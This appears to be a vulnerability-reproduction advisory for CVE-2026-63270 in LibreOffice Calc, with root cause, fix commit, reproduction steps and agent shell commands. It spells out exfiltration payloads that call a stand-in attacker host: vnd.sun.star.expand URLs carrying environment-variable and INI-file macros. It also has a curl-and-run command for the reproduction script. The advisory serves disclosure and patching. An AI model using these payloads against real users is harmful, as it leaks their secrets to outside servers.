CVE-2026-63270: Verified Reproduction
CVE-2026-63270: Environment/ini-file leaks — document-supplied URLs expand env and INI values and exfiltrate them to a remote server
CVE-2026-63270 is verified against libreoffice/core · other. Affected versions: LibreOffice 26.2 series from 26.2 before 26.2.5. Fixed in 26.2.5. This medium reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00379.
What Is CVE-2026-63270?
CVE-2026-63270 is a medium-severity vulnerability affecting libreoffice/core LibreOffice 26.2 series from 26.2 before 26.2.5. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00379).
CVE-2026-63270 Severity & CVSS Score
CVE-2026-63270 is rated medium severity, with a CVSS base score of 6.7 out of 10.
Medium — meaningful risk under specific conditions. Schedule a fix in the normal cycle.
Affected libreoffice/core Versions
libreoffice/core · other versions LibreOffice 26.2 series from 26.2 before 26.2.5 are affected.
How to Reproduce CVE-2026-63270
pruva-verify REPRO-2026-00379 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00379/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-63270
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
crafted .fods document with calcext:data-mapping entries whose xlink:href URLs are vnd.sun.star.expand:-wrapped http URLs carrying ${PRUVA63270_SECRET} and ${file:///<dir>/secret.ini:Secrets:Token} macros
- LibreOffice Calc opens the crafted .fods
- ODF import ScXMLMappingContext
- ExternalDataSource::refresh
- CSVDataProvider
- DataProvider::FetchStreamFromURL (no scheme check)
- UCB ExpandContentProvider expands env/INI macros
- HTTP fetch delivers the victim's secret values to the attacker-controlled server
How the agent worked
Root Cause and Exploit Chain for CVE-2026-63270
LibreOffice Calc's external data-mapping feature (calcext:data-mappings, used by the csv/html/xml/sql "Data Provider" sources) accepts attacker-controlled URLs from a document. In LibreOffice 26.2 up to (and excluding) 26.2.5, the csv data provider fetches such a URL at document-load time without verifying that the URL does not use LibreOffice-internal schemes. A crafted spreadsheet can therefore carry a data-mapping URL like vnd.sun.star.expand:http://attacker.example/?x=${SECRET_ENV_VAR} (or ${file\:///path/to/ini.ini:Section:Key}); when the victim opens the document, the vnd.sun.star.expand content provider expands the embedded macro against the victim's environment variables and INI/config files, and the resulting URL — now carrying the secret values — is fetched from the remote (attacker) server. The check added for CVE-2024-12426 did not cover the Calc data-provider fetch path, so the expansion was still reachable from document content.
- Package/component affected:
sc/source/ui/dataprovider/dataprovider.cxx(DataProvider::FetchStreamFromURL, used bysc/source/ui/dataprovider/csvdataprovider.cxx), plussc/source/ui/dataprovider/sqldataprovider.cxx,sc/source/core/tool/webservicelink.cxx, andforms/source/xforms/model.cxx(XForms instance data), all reached through document-supplied URLs. - Affected versions: LibreOffice 26.2 before 26.2.5 (verified on the official TDF builds 26.2.4.2 and 26.2.5.2).
- Risk level / consequences: CWE-200 exposure of sensitive information (CVSS 4.0 6.7 MEDIUM). Opening a document silently discloses process environment variables (e.g. tokens, paths) and arbitrary INI/TOML/
.env-style file values to a remote server. No user interaction beyond opening the document; works in headless conversion scenarios too.
Impact Parity
- Disclosed/claimed maximum impact: environment-variable and INI-file values expanded into a document-supplied URL and sent to a remote server on document open (info leak / CWE-200).
- Reproduced impact from this run: full parity — on opening the crafted
.fods, the vulnerable product (26.2.4.2) expanded${PRUVA63270_SECRET}(process environment variable) and${file\:///…/secret.ini:Secrets:Token}(INI-file value) and delivered both expanded values to the attacker-controlled HTTP server in two independent fresh processes; the fixed product (26.2.5.2) delivered nothing. - Parity:
full. - Not demonstrated: nothing further — the claim is an info leak and both halves (env var and INI value) were exfiltrated end-to-end.
Root Cause
ScXMLMappingContext (ODF import, sc/source/filter/xml/xmlmappingi.cxx) reads calcext:data-mapping entries from the document and, at context destruction (i.e. during document load), calls sc::ExternalDataSource::refresh(), which creates the named provider (org.libreoffice.calc.csv → CSVDataProvider) and calls DataProvider::FetchStreamFromURL(maURL, …). In the vulnerable version that function performs no scheme validation:
std::unique_ptr<SvStream> DataProvider::FetchStreamFromURL(const OUString& rURL, OStringBuffer& rBuffer)
{
try {
// opens ANY url, including vnd.sun.star.expand:...
xStream = xFileAccess->openFileRead( rURL );
openFileRead goes through UCB, whose ExpandContentProvider (ucb/source/ucp/expand/ucpexpand.cxx) handles the vnd.sun.star.expand: scheme by macro-expanding the remainder of the URL (util::theMacroExpander → rtl_bootstrap_expandMacros_from_handle). The bootstrap macro language supports:
${NAME}→ looked up viaBootstrap_Impl::getAmbienceValue→osl_getEnvironment(process environment variable),${ini_file:Section:Key}→osl::Profile(ini_file).readString(...)(arbitrary INI-like file read).
The expanded result (e.g. http://attacker/?token=SECRET-VALUE) is then opened as a real URL, exfiltrating the value.
The fix for CVE-2024-12426 (24.8.4) added "internal scheme" checks only in other code paths; the Calc data providers, the WEBSERVICE-function link, and XForms instance data still fed document-supplied URLs straight to UCB.
Fix commit (in 26.2.5): c3355f20dcd5956116819ae4f2f843014407cf4d — "don't bother loading exotic protocols for document-supplied data" — adds INetURLObject(sURL).IsExoticProtocol() refusal checks in forms/source/xforms/model.cxx (Model::loadInstance), sc/source/core/tool/webservicelink.cxx, sc/source/ui/dataprovider/dataprovider.cxx (FetchStreamFromURL), and sc/source/ui/dataprovider/sqldataprovider.cxx. INetURLObject::IsExoticProtocol() (tools/source/fsys/urlobj.cxx) classifies vnd.sun.star.expand as an exotic/internal scheme. Related hardening in the same release: 49c3c4e59c48 puts data mappings under link-update control, and a6fb1b10bb1a restricts providers on document load.
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(self-contained; run withbash). - What it does:
- Installs missing X/GLib runtime libraries, downloads the official TDF builds
LibreOffice_26.2.4.2(vulnerable) andLibreOffice_26.2.5.2(fixed control)Linux_x86-64_deb.tar.gzfromdownloadarchive.documentfoundation.org(checksum-pinned) and unpacks them. - Starts a local HTTP listener (the stand-in for the attacker's remote exfiltration server) on an ephemeral loopback port and health-checks it.
- Crafts, per attempt, a flat-ODS spreadsheet containing two
calcext:data-mappingentries (org.libreoffice.calc.csvprovider): one URLvnd.sun.star.expand:http://127.0.0.1:PORT/env?token=${PRUVA63270_SECRET}and one URLvnd.sun.star.expand:http://127.0.0.1:PORT/ini?value=${file\:///…/secret.ini:Secrets:Token}, each referencing a registeredtable:database-rangeas required by the import code. - Opens the crafted document in the real product with a fresh user profile and a unique per-attempt secret for both the environment variable and the INI file value, in six isolated attempts: two
soffice --headless --convert-to odsconversions and one direct viewer open (soffice --headless <doc.fods>) on the vulnerable 26.2.4.2 build, plus the same two conversion attempts and one direct open on the fixed control 26.2.5.2. - Captures the listener's request lines per attempt (finalized per-attempt
exfil-capture.txt), stops the listener, and writesbundle/repro/runtime_manifest.json.
- Installs missing X/GLib runtime libraries, downloads the official TDF builds
- Expected evidence: in all three vulnerable attempts (convert and direct open) the listener receives
GET /env?token=<expanded env secret>andGET /ini?value=<expanded INI secret>; in all three fixed attempts the listener receives nothing for those tokens.
Evidence
- Per-attempt captures:
bundle/repro/proof/<role>/exfil-capture.txt(pluscrafted.fods,secret.ini), run logsbundle/logs/attempts/<role>.log, full listener transcriptbundle/logs/server-access.log, script logbundle/logs/reproduction_steps.log. - Key excerpt (every vulnerable attempt, convert and direct open alike):
Fixed attempts: no matching requests at all (empty per-attempt captures).GET /env?token=PRUVA-CVE-2026-63270-vulnerable-1-ENV-<hex> HTTP/1.1 GET /ini?value=PRUVA-CVE-2026-63270-vulnerable-1-INI-<hex> HTTP/1.1 - Identity: vulnerable soffice reports
buildid=0229ac93fcf0d7cbc6376066c6f35021cef002dc(= taglibreoffice-26.2.4.2, CVE-affected); fixed controlbuildid=cd7284b4cbbfeb507e630c1aac019f4157393acb(= taglibreoffice-26.2.5.2). - Environment: Ubuntu 26.04 x86_64, product installed from official TDF debs, headless Calc open/convert path (
--convert-to ods) as the document-open entry point.
Recommendations / Next Steps
- Upgrade to LibreOffice ≥ 26.2.5 (or 26.8.0), where document-supplied URLs with internal schemes (
vnd.sun.star.expandetc.) are refused byIsExoticProtocol()checks at every document-supplied-URL sink, and data mappings refresh only under explicit link-update control. - Defense-in-depth: treat all document-supplied URLs as untrusted input at a single, central validation point (allow-list of external schemes) rather than per-sink checks; consider not resolving macros for any document-origin URL.
- Testing: the upstream
sc/qa/unit/data/dataprovider/mappinggate.fodsstyle documents can be extended withvnd.sun.star.expand:mapping URLs to assert they are refused on load in both the csv and sql providers and in XForms instance data.
Additional Notes
- Idempotency: the script is re-runnable; cached tarballs are checksum-verified and reused, per-attempt proof dirs are recreated, and a fresh listener port is chosen each run. It was executed twice consecutively with identical confirming results (all vulnerable attempts leaked both values, all fixed attempts leaked nothing, exit 0 both times).
- The XForms instance-data variant (also fixed by
c3355f20dcd5) was not separately reproduced; the Calc csv data-provider path (calcext:data-mappings) is one of the two named document surfaces and fully demonstrates the vulnerability class. - The INI exfiltration requires the
file\:///(escaped file-URL) macro form becauseosl_openProfileexpects a file URL; a plain path silently expands to empty. - Exfiltration target is a loopback listener standing in for the attacker server; the fetch itself is a plain outbound HTTP request, so a real remote host behaves identically.
CVE-2026-63270 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls -la /pruva/project-cache/ 2>/dev/null; echo ---; ls /pruva/project-cache/repo 2>/dev/null | head; echo ---; ls -la /pruva/project-cache/repo-mirrors/ 2>/dev/null; echo ---; command -v soffice libreoffice docker java python3; echo ---; cat /pruva/project-cache/.pruva/cache_manifest.json 2>/dev/nulltotal 4 drwx------ 4 vscode vscode 80 Oct 5 22:59 . drwxr-xr-x 3 root root 4096 Oct 5 22:59 .. drwx------ 2 vscode vscode 60 Oct 5 22:59 .pruva drwx------ 2 vscode vscode 40 Oct 5 22:59 repo-mirrors --- --- total 0
for c in python3 python curl git jq gcc g++ make node soffice docker java; do printf '%-8s: ' "$c"; command -v $c || echo MISSING; done; echo ---; df -h /tmp /workspace | tail -3; echo ---; cat /etc/os-release | head -3; echo ---; whoami; echo ---; ls /workspace/bundle/logs/repro/ 2>/dev/null; ls /workspace/bundle/logs/support/ 2>/dev/nullpython3 : /usr/bin/python3 python : /usr/bin/python curl : /usr/bin/curl git : /usr/local/bin/git jq : /usr/bin/jq gcc : /usr/bin/gcc g++ : /usr/bin/g++ make : /usr/bin/make
Artifacts and Evidence for CVE-2026-63270
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-63270
Upgrade libreoffice/core · other to 26.2.5 or later.
FAQ: CVE-2026-63270
Is CVE-2026-63270 exploitable?
How severe is CVE-2026-63270?
What type of vulnerability is CVE-2026-63270?
Which versions of libreoffice/core are affected by CVE-2026-63270?
Is there a fix for CVE-2026-63270?
How can I reproduce CVE-2026-63270?
Is the CVE-2026-63270 reproduction verified?
References for CVE-2026-63270
Authoritative sources for CVE-2026-63270 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.